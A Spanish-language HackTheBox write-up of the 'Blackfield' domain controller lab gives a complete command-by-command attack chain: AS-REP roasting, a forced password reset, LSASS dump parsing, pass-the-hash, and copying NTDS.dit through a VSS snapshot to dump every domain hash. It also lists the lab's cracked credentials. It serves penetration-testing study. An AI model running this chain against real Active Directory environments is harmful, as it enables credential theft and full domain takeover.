Info de la Box

PlataformaHackTheBox
DificultadHard
OSWindows (Domain Controller)
Técnicas ClaveAS-REP Roasting, ForceChangePassword, LSASS Dump Analysis, VSS + NTDS.dit

Resumen del Ataque

SMB null session en el share profiles$ → extrajimos ~300 usernames potenciales → AS-REP Roasting a la cuenta support → crackeamos el hash → BloodHound mostró que support tiene ForceChangePassword sobre audit2020 → cambiamos la password vía rpcclient → audit2020 tenía acceso al share SMB forensic → encontramos lsass.DMP → pypykatz extrajo el hash NTLM de svc_backup → evil-winrm como svc_backup → SeBackupPrivilege → diskshadow VSS snapshot → robocopy /b NTDS.dit → secretsdump → Domain Admin.

La cadena más larga que he hecho. Cada paso se construyó sobre el anterior.


Enumeración

sudo nmap -sCV -p 53,88,135,389,445,593,3268,5985 -Pn -T4 $ip
PuertoServicioNotas
88KerberosDC confirmado
389LDAPDominio: BLACKFIELD.local
445SMBSigning required
5985WinRMUsado para shell

SMB — Cosecha de Usernames

smbclient //$ip/profiles$ -U '' -N -c 'ls' | awk '{print $1}' | grep -v '^\.' | grep -v '^$' | grep -v 'blocks' > users.txt
# ~300 usernames potenciales del share profiles$

Foothold — AS-REP Roasting

impacket-GetNPUsers BLACKFIELD.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt
# La cuenta support no tiene preauth → obtuvimos el hash

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Crackeado: #00^BlackKnight

Primeras creds: support:#00^BlackKnight


BloodHound → ForceChangePassword

bloodhound-python -u 'support' -p '#00^BlackKnight' -ns $ip -d BLACKFIELD.local -c All
# BloodHound: support tiene ForceChangePassword sobre audit2020

Cambiamos la password de audit2020 sin saber la original:

rpcclient -U 'support%#00^BlackKnight' $ip
rpcclient $> setuserinfo2 audit2020 23 'Password@1234'

Share Forensic → LSASS Dump

audit2020 tenía acceso al share SMB forensic que contenía memory dumps.

smbclient //$ip/forensic -U 'BLACKFIELD.local/audit2020%Password@1234'
# Descargamos memory_analysis/lsass.DMP
# ADVERTENCIA: los archivos .zip eran de 0 bytes por mget corrupto — usar el .DMP directamente

Extrajimos credenciales del LSASS dump:

pypykatz lsa minidump lsass.DMP
# Obtuvimos hash NTLM de svc_backup: 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i $ip -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Escalación de Privilegios — SeBackupPrivilege → NTDS.dit

svc_backup tenía SeBackupPrivilege y SeRestorePrivilege. En un DC, eso significa que podemos agarrar NTDS.dit — la base de datos de passwords del dominio.

La diferencia:

  • reg save hklm\sam = hashes de cuentas locales. Funciona en cualquier Windows.
  • NTDS.dit = base de datos de passwords del dominio. Solo en DCs. Bloqueada por Active Directory — no se puede copiar directamente.
  • VSS (Volume Shadow Copy) crea un snapshot congelado donde NTDS.dit ya no está bloqueado.

VSS Snapshot + Copiar NTDS.dit

# Debe ejecutarse desde un directorio con permisos de escritura — NO Documents
cd C:\Temp

echo "set context persistent nowriters" | out-file C:\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Temp\shadow.dsh -append -encoding ascii

diskshadow /s C:\Temp\shadow.dsh
# Shadow copy creada y expuesta como Z:\

# Copiar NTDS.dit usando backup privilege (flag /b salta ACLs)
robocopy /b z:\Windows\NTDS\ C:\Temp\ ntds.dit

# Guardar SYSTEM hive
reg save hklm\system C:\Temp\system

# Descargar ambos
download ntds.dit
download system

Secretsdump → Domain Admin

impacket-secretsdump -ntds ntds.dit -system system LOCAL
# Obtuvimos: Administrator:500:...:184fb5e5178480be64824d4cd53b99ee:::

evil-winrm -i $ip -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'

Credenciales

UsernamePassword/HashOrigen
support#00^BlackKnightAS-REP Roasting
audit2020Password@1234ForceChangePassword
svc_backup9658d1d1dcd9250115e2205d9f48400d (NTLM)pypykatz en lsass.DMP
Administrator184fb5e5178480be64824d4cd53b99ee (NTLM)secretsdump de NTDS.dit

Lo que Aprendí

pypykatz — Equivalente en Linux de Mimikatz. Parsea LSASS memory dumps offline. pypykatz lsa minidump lsass.DMP y obtenés credenciales de cada usuario que tenía sesión en esa máquina.

VSS + NTDS.dit — en un DC, NTDS.dit está bloqueado por AD. Usá diskshadow para crear un snapshot, exponelo como una letra de drive, y después robocopy /b para copiar con backup privileges.

ForceChangePassword vía rpcclientsetuserinfo2 <user> 23 '<newpass>' cambia la password de cualquier usuario si tenés el ACL right. No necesitás saber la password original.

SMB mget produce archivos de 0 bytes para archivos grandes a veces. Siempre verificar los tamaños de archivo. Usar el .DMP directamente en vez del .zip.

diskshadow DEBE ejecutarse desde un directorio con permisos de escritura. Siempre cd C:\Temp primero. No Documents, no Desktop.

Patrón: “Box DC + SeBackupPrivilege = VSS snapshot → robocopy /b NTDS.dit → secretsdump → todos los hashes del dominio.”